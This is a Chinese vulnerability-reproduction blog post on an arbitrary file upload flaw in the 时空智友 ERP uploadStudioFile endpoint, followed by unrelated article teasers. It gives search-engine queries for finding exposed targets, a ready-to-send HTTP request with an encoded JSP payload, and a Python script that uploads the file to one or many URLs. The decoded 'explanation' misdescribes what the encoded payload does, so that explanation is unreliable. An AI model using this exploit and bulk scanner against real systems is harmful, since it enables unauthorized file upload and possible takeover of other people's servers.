【漏洞复现】时空智友ERP——uploadStudioFile——任意文件上传

news2024/9/30 19:33:16

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录

  • 漏洞描述
  • 漏洞复现
  • 测试工具


漏洞描述

时空智友ERP是专为医药等行业设计的综合性企业资源规划系统,融合云计算和移动技术,支持多组织管理。。其uploadStudioFile接口存在任意文件上传漏洞,攻击者可通过该漏洞上传任意文件到服务器上,包括木马后门文件,导从而获取服务器权限。

漏洞复现

1)信息收集
fofa:body=“login.jsp?login=null”
hunter:web.body=“login.jsp?login=null”
在这里插入图片描述
无论如何轮回做出选择,终将还是会后悔。
在这里插入图片描述
2)构造数据包

POST /formservice?service=updater.uploadStudioFile HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Content-Length: 609

content=<?xml%20version="1.0"?><root><filename>test.jsp</filename><filepath>./</filepath><filesize>172</filesize><lmtime>1970-01-01%2008:00:00</lmtime></root><!--%3c%25%20%6f%75%74%2e%70%72%69%6e%74%28%22%3c%70%72%65%3e%22%29%3b%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%31%31%31%20%2a%20%31%31%31%29%3b%6f%75%74%2e%70%72%69%6e%74%28%22%3c%2f%70%72%65%3e%22%29%3b%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%28%61%70%70%6c%69%63%61%74%69%6f%6e%2e%67%65%74%52%65%61%6c%50%61%74%68%28%72%65%71%75%65%73%74%2e%67%65%74%53%65%72%76%6c%65%74%50%61%74%68%28%29%29%29%2e%64%65%6c%65%74%65%28%29%3b%0d%0a%25%3e%0d%0a-->

代码解释

content=<?xml%20version="1.0"?><root><filename>test.jsp</filename><filepath>./</filepath><filesize>172</filesize><lmtime>1970-01-01%2008:00:00</lmtime></root><!--%3c%25%20%6f%75%74%2e%70%72%69%6e%74%28%22%3c%70%72%65%3e%22%29%3b%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%31%31%31%20%2a%20%31%31%31%29%3b%6f%75%74%2e%70%72%69%6e%74%28%22%3c%2f%70%72%65%3e%22%29%3b%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%28%61%70%70%6c%69%63%61%74%69%6f%6e%2e%67%65%74%52%65%61%6c%50%61%74%68%28%72%65%71%75%65%73%74%2e%67%65%74%53%65%72%76%6c%65%74%50%61%74%68%28%29%29%29%2e%64%65%6c%65%74%65%28%29%3b%0d%0a%25%3e%0d%0a-->

这段内容是一个XML格式的数据,其中包含了一些文件信息,例如文件名test.jsp、文件路径./、文件大小172以及最后修改时间1970-01-01 08:00:00。XML注释部分包含了执行脚本的注入。

注释中的内容经过URL解码后是这样的:

out.print("<pre>");
out.println(111 * 111);
out.print("</pre>");
new java.io.File(application.getRealPath("../../../")).delete();

这段代码执行了以下操作:

  1. out.print("<pre>"); - 输出一个<pre>标签,通常用于显示预格式化的文本。
  2. out.println(111 * 111); - 打印计算结果,这里是111 * 111,即12321
  3. out.print("</pre>"); - 输出一个闭合的</pre>标签。
  4. new java.io.File(application.getRealPath("../../../")).delete(); - 尝试删除应用服务器上当前工作目录的上三级目录。

这是一种Web Shell的注入尝试,通过在XML注释中嵌入恶意Java代码,试图在服务器上执行任意命令。
在这里插入图片描述

3)查看上传文件

GET /update/temp/studio/test.jsp HTTP/1.1
Host:ip

在这里插入图片描述
成功查看到上传文件,存在任意文件上传漏洞。

测试工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
时空智友 ERP 系统文件上传漏洞检测工具

本脚本用于检测指定的时空智友 ERP 系统是否存在文件上传漏洞。
通过上传一个测试文件并检查返回内容来确认漏洞是否存在。
"""

import requests
import argparse
from urllib3.exceptions import InsecureRequestWarning

# 忽略 HTTPS 证书验证警告
# 忽略证书验证警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# 定义红色和重置终端输出样式
RED = '\033[91m'
RESET = '\033[0m'

def upload_studio_file(url):
    """
    检测指定 URL 的时空智友 ERP 系统是否存在文件上传漏洞。

    参数:
    - url: 待检测的 URL。

    返回:
    - 检测结果的字符串描述。
    """
    # 定义请求头,模拟浏览器发送请求
    headers = {
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15',
        'Content-Type': 'application/x-www-form-urlencoded'
    }

    # 构造上传的伪造数据
    data = 'content=<?xml%20version="1.0"?><root><filename>test.jsp</filename><filepath>./</filepath><filesize>172</filesize><lmtime>1970-01-01%2008:00:00</lmtime></root><!--%3c%25%20%6f%75%74%2e%70%72%69%6e%74%28%22%3c%70%72%65%3e%22%29%3b%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%31%31%31%20%2a%20%31%31%31%29%3b%6f%75%74%2e%70%72%69%6e%74%28%22%3c%2f%70%72%65%3e%22%29%3b%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%28%61%70%70%6c%69%63%61%74%69%6f%6e%2e%67%65%74%52%65%61%6c%50%61%74%68%28%72%65%71%75%65%73%74%2e%67%65%74%53%65%72%76%6c%65%74%50%61%74%68%28%29%29%29%2e%64%65%6c%65%74%65%28%29%3b%0d%0a%25%3e%0d%0a-->'

    # 构造上传地址和测试文件地址
    upload_url = f"{url.rstrip('/')}/formservice?service=updater.uploadStudioFile"
    shell_url = f"{url.rstrip('/')}/update/temp/studio/test.jsp"

    try:
        # 发送上传请求
        response = requests.post(upload_url, headers=headers, data=data, verify=False, timeout=30)
        if response.status_code == 200:
            # 发送测试文件请求并检查是否成功上传
            shell_response = requests.get(shell_url, verify=False, timeout=30)
            if shell_response.status_code == 200 and "12321" in shell_response.text:
                print(f"{RED}URL [{url}] 存在时空智友 ERP uploadstudiofile 文件上传漏洞{RESET}")
            else:
                print(f"URL [{url}] 可能不存在漏洞")
        else:
            print(f"URL [{url}] 上传文件失败,响应状态码: {response.status_code}")
    except requests.RequestException as e:
        print(f"URL [{url}] 请求失败: {e}")

def main():
    """
    程序入口函数。

    从命令行参数中获取待检测的 URL,然后调用 upload_studio_file 函数进行检测。
    """
    parser = argparse.ArgumentParser(description='检测目标地址是否存在时空智友 ERP uploadstudiofile 文件上传漏洞')
    parser.add_argument('-u', '--url', help='指定目标地址')
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')

    args = parser.parse_args()

    if args.url:
        # 处理命令行指定的单个 URL
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url
        upload_studio_file(args.url)
    elif args.file:
        # 处理命令行指定的包含多个 URL 的文件
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                if not url.startswith("http://") and not url.startswith("https://"):
                    url = "http://" + url
                upload_studio_file(url)

if __name__ == '__main__':
    main()

运行截图
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1913238.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Camera Raw:蒙版 - 蒙版叠加

Camera Raw “蒙版”模块中的蒙版叠加 Calibration功能可以帮助用户在调整照片时更好地可视化和管理所选区域&#xff0c;提高照片局部处理过程中的效率。 ◆ ◆ ◆ 使用方法与技巧 1、自动切换叠加 默认情况下启用“自动切换叠加”选项&#xff0c;这样可以使得在绘制蒙版时…

谷粒商城学习笔记-23-分布式组件-SpringCloud Alibaba-Nacos配置中心-简单示例

之前已经学习了使用Nacos作为注册中心&#xff0c;这一节学习Nacos另外一个核心功能&#xff1a;配置中心。 一&#xff0c;Nacos配置中心简介 Nacos是一个易于使用的平台&#xff0c;用于动态服务发现和配置管理。作为配置中心&#xff0c;Nacos提供了以下核心功能和优势&am…

全终端自动化测试框架wyTest

突然有一些觉悟&#xff0c;程序猿不能只会吭哧吭哧的低头做事&#xff0c;应该学会怎么去展示自己&#xff0c;怎么去宣传自己&#xff0c;怎么把自己想做的事表述清楚。 于是&#xff0c;这两天一直在整理自己的作品&#xff0c;也为接下来的找工作多做点准备。接下来…

详细分析Spring中的@Configuration注解基本知识(附Demo)

目录 前言1. 基本知识2. 详细分析3. Demo3.1 简单Bean配置3.2 属性配置3.3 多条件配置 4. 实战拓展 前言 Java的基本知识推荐阅读&#xff1a; java框架 零基础从入门到精通的学习路线 附开源项目面经等&#xff08;超全&#xff09;Spring框架从入门到学精&#xff08;全&am…

2-1静态库

静态库制作 编写库文件 test.c #include<stdio.h> int main(void){printf("%d\n",add(3,5));return 0; }add.c int add(int a,int b){return ab; }生成.o(目标文件) 用nm查看.o文件 T代表add这个函数的链接性是外部链接&#xff0c;即全局可见&#xff0c;…

03_Shell变量

【Shell】03_Shell变量 一、环境变量 Linux系统配置文件&#xff08;全局配置文件和用户个人配置文件&#xff09;中定义的变量&#xff0c;提供给所有Shell程序使用 1.1、全局环境变量 1.1.1、配置文件位置 /etc/environment /etc/bashrc&#xff08;或者/etc/bash.bashrc…

tensorflow张量生成以及常用函数

张量tensor&#xff1a;多维数组&#xff08;列表&#xff09; 阶&#xff1a;张量的维数 维数 阶 名字 例子 0-D 0 标量 scalar s 1&#xff0c; 2&#xff0c; 3 1-D 1 向量 vector…

Mac VSCode 突然闪退、崩溃、打不开了

1、 思路历程 VSCode 作为前端常用开发工具&#xff0c;其重要性就不一一描述了。 所以 VSCode 突然打不开了&#xff0c;真的是让我一脸懵逼。 本来以为问题不大&#xff0c;于是 &#xff1a; 1、重启了一下VSCode 2、关机重启了一下电脑&#xff1b; 3、清理了一下缓存&am…

阈值分割后配合Connection算子和箭头工具快速知道区域的ID并选择指定区域

代码 dev_close_window () read_image (Image, E:/机器视觉学习/海康视觉平台/二期VM视觉学习/二期VM视觉学习/机器视觉程序/标定相机找圆心和焊头修正相机找圆心之算法软件/标定相机找圆心和焊头修正相机找圆心之算法软件/03 标定相机找圆心/S2/1号机/1.bmp) get_image_size …

Ensp配置防火墙的web界面

Ensp配置防火墙的web界面 准备工作新建网卡配置网卡 启动防火墙配置防火墙注意事项和错误如果云里面没有网卡选项防火墙启动不了没有web界面启动不了没有web界面 准备工作 新建网卡 我用的是win10系统&#xff0c;新建网卡 先右键管理 再点击设备管理器 --- 再网络适配器 接…

【Linux】System V信号量详解以及semget()、semctl()和semop()函数讲解

&#x1f490; &#x1f338; &#x1f337; &#x1f340; &#x1f339; &#x1f33b; &#x1f33a; &#x1f341; &#x1f343; &#x1f342; &#x1f33f; &#x1f344;&#x1f35d; &#x1f35b; &#x1f364; &#x1f4c3;个人主页 &#xff1a;阿然成长日记 …

通用个人客户关系管理系统设计

设计一个通用个人客户关系管理系统&#xff08;Personal CRM&#xff09;&#xff0c;旨在帮助个人用户管理他们的社交网络、职业联系人、个人项目和日常沟通&#xff0c;需要关注以下几个核心设计原则和功能模块&#xff1a; 核心设计原则 易用性&#xff1a;界面简洁直观&a…

【操作系统】进程管理——信号量机制(个人笔记)

学习日期&#xff1a;2024.7.9 内容摘要&#xff1a;信号量机制&#xff0c;用信号量实现进程的同步与互斥 信号量机制 信号量的概念 在上节内容中&#xff0c;我们学习了进程互斥的软件和硬件解决方案&#xff0c;但这些方案都有各自的问题&#xff0c;双标志法都因为检查和…

机器人三定律及伦理分析

全世界的机器人定律并没有一个统一的标准或体系&#xff0c;但是在科学文献中&#xff0c;最广为人知的是由科幻小说家阿西莫夫提出的“机器人三定律”。本文将以这些定律为基础&#xff0c;分析现有的机器人伦理和实际应用中的问题&#xff0c;给出若干实例&#xff0c;并对相…

LVS集群及其它的NAT模式

1.lvs集群作用&#xff1a;是linux的内核层面实现负载均衡的软件&#xff1b;将多个后端服务器组成一个高可用、高性能的服务器的集群&#xff0c;通过负载均衡的算法将客户端的请求分发到后端的服务器上&#xff0c;通过这种方式实现高可用和负载均衡。 2.集群和分布式&#…

【光伏仿真系统】光伏设计的基本步骤

随着全球对可再生能源需求的不断增长&#xff0c;光伏发电作为一种清洁、可再生的能源形式&#xff0c;正日益受到重视。光伏设计是确保光伏系统高效、安全、经济运行的关键环节&#xff0c;它涉及从选址评估到系统安装与维护的全过程。本文将详细介绍光伏设计的基本步骤&#…

AI大模型走进汽车车机,智驾将是未来

车机里的AI大模型在汽车行业中的应用越来越广泛&#xff0c;主要体现在智能座舱和自动驾驶系统的深度融合上。通过将AI大模型应用于车机系统&#xff0c;可以实现更高智能化的人车交互体验。AI大模型作为人工智能发展的核心引擎&#xff0c;正在成为汽车智能化发展的关键之一。…

【靶机实战】GeoServer 远程代码执行漏洞复现

# 在线靶场 可以通过访问极核官方靶场开启靶机实验&#xff1a;极核靶场 -> 漏洞复现靶场 -> GeoServer-远程代码执行 原文&#xff1a;【靶机实战】GeoServer 远程代码执行漏洞复现 - 极核GetShell (get-shell.com) # 简介 CVE-2024-36401是一个高危的远程代码执行漏…

Springboot项目实训--day2

今天学习的是idea和MySQL的连接&#xff0c;以及一些基本的增删改查的功能实现。 一、软件下载 昨天下载了idea&#xff0c;今天要是西安它们的连接&#xff0c;就需要再下载MySQL&#xff0c;我的MySQL是前面几个学期别人帮忙下载的&#xff0c;所以具体的操作步骤我也不清楚…

VSTO插件功能介绍-清除空行(列)

提示目前我的插件命名为“哆哆Excel”&#xff0c;还没有打包&#xff0c;主要是自己工作中要用到的东西&#xff0c;它能提高我的工作效率&#xff0c;10倍以上开发&#xff1a;Visual Studio 2019语言&#xff1a;VB.net看个图吧 今天要记录的问题是这样子的 当时有一个同事&…